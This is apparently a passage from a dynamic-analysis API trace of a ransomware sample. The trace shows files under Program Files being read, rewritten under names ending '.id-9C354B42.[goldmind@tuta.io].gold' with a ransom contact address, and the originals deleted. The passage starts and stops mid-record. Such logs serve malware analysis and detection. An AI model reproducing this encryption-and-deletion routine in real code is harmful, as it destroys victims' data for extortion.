dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.288] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.288] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.289] GetLastError () returned 0x0 [0043.289] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0043.434] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0043.435] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.435] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.435] SetEndOfFile (hFile=0x188) returned 1 [0043.435] CloseHandle (hObject=0x188) returned 1 [0043.435] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.435] SetEndOfFile (hFile=0x190) returned 1 [0043.436] CloseHandle (hObject=0x190) returned 1 [0043.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0043.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString=".doc") returned 4 [0043.437] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString=".docx") returned 5 [0043.437] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.437] lstrlenW (lpString=".pdf") returned 4 [0043.437] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString=".xls") returned 4 [0043.437] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.437] lstrlenW (lpString=".xlsx") returned 5 [0043.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.437] lstrlenW (lpString=".ppt") returned 4 [0043.437] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString=".zip") returned 4 [0043.437] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.437] lstrlenW (lpString=".rar") returned 4 [0043.437] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.437] lstrlenW (lpString=".bz2") returned 4 [0043.437] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString=".7z") returned 3 [0043.437] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString=".dbf") returned 4 [0043.437] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString=".1cd") returned 4 [0043.437] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString=".jpg") returned 4 [0043.437] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.437] lstrlenW (lpString=".doc") returned 4 [0043.437] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.437] lstrlenW (lpString=".docx") returned 5 [0043.437] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.438] lstrlenW (lpString=".pdf") returned 4 [0043.438] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.438] lstrlenW (lpString=".xls") returned 4 [0043.438] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.438] lstrlenW (lpString=".xlsx") returned 5 [0043.438] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.438] lstrlenW (lpString=".ppt") returned 4 [0043.438] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.438] lstrlenW (lpString=".zip") returned 4 [0043.438] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.438] lstrlenW (lpString=".rar") returned 4 [0043.438] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.438] lstrlenW (lpString=".bz2") returned 4 [0043.438] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.438] lstrlenW (lpString=".7z") returned 3 [0043.438] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.438] lstrlenW (lpString=".dbf") returned 4 [0043.438] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.438] lstrlenW (lpString=".1cd") returned 4 [0043.438] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0043.438] lstrlenW (lpString=".jpg") returned 4 [0043.438] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.438] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0043.438] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.925] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=30170) returned 1 [0043.925] CloseHandle (hObject=0x178) returned 1 [0043.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0043.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.925] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.925] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.925] GetLastError () returned 0x0 [0043.925] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x75da, lpOverlapped=0x0) returned 1 [0043.927] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0043.928] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.928] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.928] SetEndOfFile (hFile=0x18c) returned 1 [0043.928] CloseHandle (hObject=0x18c) returned 1 [0043.928] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.928] SetEndOfFile (hFile=0x178) returned 1 [0043.929] CloseHandle (hObject=0x178) returned 1 [0043.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.929] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0043.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.929] lstrlenW (lpString=".doc") returned 4 [0043.929] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.929] lstrlenW (lpString=".docx") returned 5 [0043.929] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.929] lstrlenW (lpString=".pdf") returned 4 [0043.929] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.929] lstrlenW (lpString=".xls") returned 4 [0043.929] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.929] lstrlenW (lpString=".xlsx") returned 5 [0043.930] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.930] lstrlenW (lpString=".ppt") returned 4 [0043.930] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".zip") returned 4 [0043.930] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString=".rar") returned 4 [0043.930] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString=".bz2") returned 4 [0043.930] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString=".7z") returned 3 [0043.930] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".dbf") returned 4 [0043.930] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".1cd") returned 4 [0043.930] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".jpg") returned 4 [0043.930] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".doc") returned 4 [0043.930] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString=".docx") returned 5 [0043.930] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.930] lstrlenW (lpString=".pdf") returned 4 [0043.930] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString=".xls") returned 4 [0043.930] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString=".xlsx") returned 5 [0043.930] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.930] lstrlenW (lpString=".ppt") returned 4 [0043.930] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".zip") returned 4 [0043.930] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString=".rar") returned 4 [0043.930] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.930] lstrlenW (lpString=".bz2") returned 4 [0043.930] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.930] lstrlenW (lpString=".7z") returned 3 [0043.930] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.930] lstrlenW (lpString=".dbf") returned 4 [0043.931] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.931] lstrlenW (lpString=".1cd") returned 4 [0043.931] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0043.931] lstrlenW (lpString=".jpg") returned 4 [0043.931] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.931] lstrcmpiW (lpString1=".ini", lpString2=".gold") returned 1 [0043.931] lstrlenW (lpString="desktop.ini") returned 11 [0043.931] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.931] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=174) returned 1 [0043.931] CloseHandle (hObject=0x178) returned 1 [0043.931] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0043.931] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.931] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.931] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.931] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.931] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.932] GetLastError () returned 0x0 [0043.932] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xae, lpOverlapped=0x0) returned 1 [0043.932] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0043.933] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.933] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.933] SetEndOfFile (hFile=0x18c) returned 1 [0043.933] CloseHandle (hObject=0x18c) returned 1 [0043.933] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.933] SetEndOfFile (hFile=0x178) returned 1 [0043.934] CloseHandle (hObject=0x178) returned 1 [0043.934] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x26) returned 1 [0043.934] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0043.934] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.934] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.934] lstrlenW (lpString=".doc") returned 4 [0043.934] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.934] lstrlenW (lpString=".docx") returned 5 [0043.934] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.934] lstrlenW (lpString=".pdf") returned 4 [0043.934] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.934] lstrlenW (lpString=".xls") returned 4 [0043.934] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.934] lstrlenW (lpString=".xlsx") returned 5 [0043.934] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.934] lstrlenW (lpString=".ppt") returned 4 [0043.934] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.934] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.934] lstrlenW (lpString=".zip") returned 4 [0043.935] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString=".rar") returned 4 [0043.935] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString=".bz2") returned 4 [0043.935] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.935] lstrlenW (lpString=".7z") returned 3 [0043.935] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".dbf") returned 4 [0043.935] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".1cd") returned 4 [0043.935] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".jpg") returned 4 [0043.935] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".doc") returned 4 [0043.935] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.935] lstrlenW (lpString=".docx") returned 5 [0043.935] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.935] lstrlenW (lpString=".pdf") returned 4 [0043.935] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString=".xls") returned 4 [0043.935] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString=".xlsx") returned 5 [0043.935] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.935] lstrlenW (lpString=".ppt") returned 4 [0043.935] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".zip") returned 4 [0043.935] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString=".rar") returned 4 [0043.935] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.935] lstrlenW (lpString=".bz2") returned 4 [0043.935] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.935] lstrlenW (lpString=".7z") returned 3 [0043.935] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".dbf") returned 4 [0043.935] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.935] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.935] lstrlenW (lpString=".1cd") returned 4 [0043.936] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.936] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0043.936] lstrlenW (lpString=".jpg") returned 4 [0043.936] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.936] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0043.936] lstrlenW (lpString="DissolveAnother.png") returned 19 [0043.936] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.936] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=27935) returned 1 [0043.936] CloseHandle (hObject=0x178) returned 1 [0043.937] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0043.937] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.937] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.937] lstrlenW (lpString=".doc") returned 4 [0043.937] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0043.937] lstrlenW (lpString=".docx") returned 5 [0043.937] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0043.937] lstrlenW (lpString=".pdf") returned 4 [0043.937] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0043.937] lstrlenW (lpString=".xls") returned 4 [0043.937] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0043.937] lstrlenW (lpString=".xlsx") returned 5 [0043.937] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0043.937] lstrlenW (lpString=".ppt") returned 4 [0043.937] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.937] lstrlenW (lpString=".zip") returned 4 [0043.937] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0043.937] lstrlenW (lpString=".rar") returned 4 [0043.937] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0043.937] lstrlenW (lpString=".bz2") returned 4 [0043.937] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0043.937] lstrlenW (lpString=".7z") returned 3 [0043.937] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0043.937] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0043.937] lstrlenW (lpString=".dbf") returned 4 [0043.937] lstrcmpiW 